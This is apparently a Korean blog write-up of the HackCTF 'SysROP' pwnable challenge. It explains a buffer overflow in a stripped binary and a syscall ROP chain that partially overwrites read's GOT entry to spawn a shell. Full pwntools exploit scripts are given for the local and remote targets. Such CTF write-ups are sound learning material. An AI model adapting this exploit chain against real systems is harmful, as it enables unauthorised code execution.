문제 풀이 환경 : ubuntu 18.04 |
syscall rop는 할 줄 알지만.. syscall 가젯을 못찾겠어서 롸업보고 풀었다 ㅠㅠ
주어진 파일은 문제파일 바이너리 and libc
Analsysis
일단 실행
그냥 입력받고 종료한다.
IDA
read함수 ... bof 발생한다.
stripped 된 파일이라서 사용자 정의 함수들이 sub_* 이런식으로 되어있다.
그래서 심볼도 없다.
참고로 stripped 되었다는 것은 실행에 필요한 부분을 제외한 다른부분이 없는 것이다.
컴파일/링크되어 생성된 실행파일에는 symbol table과 section, 컴파일러/링커 관련 내용 등등...
여러가지 실행에는 필요없는 부분이 포함되어 있다.
strip은 실행파일의 크기를 줄이기위해서 이러한 부분들을 제거한다.
---
How to exploit
출력함수가 없어서 leak을 못한다.
system함수도 어딨는지 모르겠다.
그래서 syscall rop를 해야한다.
Summary
- '/bis/sh\x00' 문자열을 bss 영역에 넣어준다.
- read 함수의 got를 syscall로 overwriting한다.
- syscall execve를 실행한다.
rop를 진행하기 위해 필요한 가젯이 있다.
이런거는 쉽게 나온다.
하지만 syscall 가젯이 보이지 않았다.
여기서 생각해야할 것, read 함수는 여러 syscall들로 구성이 되어있다. read 함수를 쓴다? -> read 함수 내부에 syscall을 호출한다.
그래서 syscall 가젯을 read 함수 내부에서 찾아야 한다.
아래와 같이...
read함수 안에서 syscall 찾는 다른 방법
read 함수 got 출력해서 아래처럼 구해도 됨
아 참고로 remote는 아래처럼 libc에서 찾아야 한다.
libc 주소는 마지막 1.5바이트(?)가 무조건 000이다.
그래서 read함수의 got의 마지막 한바이트를 '\x4f'로 바꿔 syscall을 호출할 수 있다.
(ASLR이 걸려있으니깐 이런식으로 호출해야 한다.)
이제 우리가 아는대로 rax에 59넣어서 execve syscall 호출하면 된다.
Let's exploit
local
주석을 보면 return to main... 이 주석처리된 것을 볼 수 있다.
나는 보통 문제풀 때 무조건 main으로 돌려버리는 습관이 있는데, 여기서 이렇게 하게 되면 이상한 주소로 가게 된다.
read 함수의 got를 이상하게 바꿔버렸으니 ㅎㅎ... 당연한 거겠지?
그래서 그렇게 하면 안된다.
from pwn import *
p = process('./sysrop')
#p = remote('ctf.j0n9hyun.xyz', 3024)
e = ELF('./sysrop')
read_plt = e.plt['read']
read_got = e.got['read']
print hex(read_got)
bss = 0x601060
main = 0x4005f2
pppr = 0x4005eb
ppppr = 0x4005ea
binsh = '/bin/sh\x00'
# 1. input /bin/sh
# read
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi
payload += p64(len(binsh)) + p64(0) + p64(bss)
payload += p64(read_plt)
payload += p64(main) # return to main
p.send(payload)
p.send(binsh)
#p.interactive()
# 2. got overwriting
# read_got -> syscall
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi
payload += p64(1) + p64(0) + p64(read_got)
payload += p64(read_plt)
#payload += p64(main) # return to main
#pause()
#p.send(payload)
#p.send('\x4f')
# 3. syscall execve
#payload += 'a' * 0x18
payload += p64(ppppr)
payload += p64(59) + p64(0) + p64(bss) + p64(0)
payload += p64(read_plt)
#pause()
p.send(payload)
p.send('\x4f')
p.interactive()
remote
sleep을 넣어주는 이유?
디버깅 속도가 너무 느리거나 빠른 경우 데이터를 제대로 입력받지 못해 디버깅이 제대로 이루어지지 않을 수 있다고 한다. 그래서 데이터를 send하고 난 후 sleep을 넣어 속도를 조정해준다.
from pwn import *
#p = process('./sysrop')
p = remote('ctf.j0n9hyun.xyz', 3024)
e = ELF('./sysrop')
read_plt = e.plt['read']
read_got = e.got['read']
print hex(read_got)
bss = 0x601060
main = 0x4005f2
pppr = 0x4005eb
ppppr = 0x4005ea
binsh = '/bin/sh\x00'
# 1. input /bin/sh
# read
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi
payload += p64(len(binsh)) + p64(0) + p64(bss)
payload += p64(read_plt)
payload += p64(main) # return to main
p.send(payload)
p.send(binsh)
#p.interactive()
# 2. got overwriting
# read_got -> syscall
payload = 'a' * 0x18
payload += p64(pppr) # rdx rdi rsi
payload += p64(1) + p64(0) + p64(read_got)
payload += p64(read_plt)
#payload += p64(main) # return to main
#pause()
#p.send(payload)
#p.send('\x4f')
# 3. syscall execve
#payload += 'a' * 0x18
payload += p64(ppppr)
payload += p64(59) + p64(0) + p64(bss) + p64(0)
payload += p64(read_plt)
#pause()
p.send(payload)
sleep(0.5)
p.send('\x5e')
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] RTC 풀이 (64bit, ROP) (0) | 2021.04.19 |
---|---|
[HackCTF : Pwnable] SysROP 풀이 (64bit, SROP, 브포) (0) | 2021.04.16 |
[HackCTF : Pwnable] Unexploitable #2 풀이 (64bit, system) (0) | 2021.04.15 |
[HackCTF : Pwnable] Unexploitable #1 풀이 (64bit, sh) (0) | 2021.04.15 |
[HackCTF : Pwnable] j0n9hyun's secret 풀이 (64bit, fd overwrite) (0) | 2021.04.15 |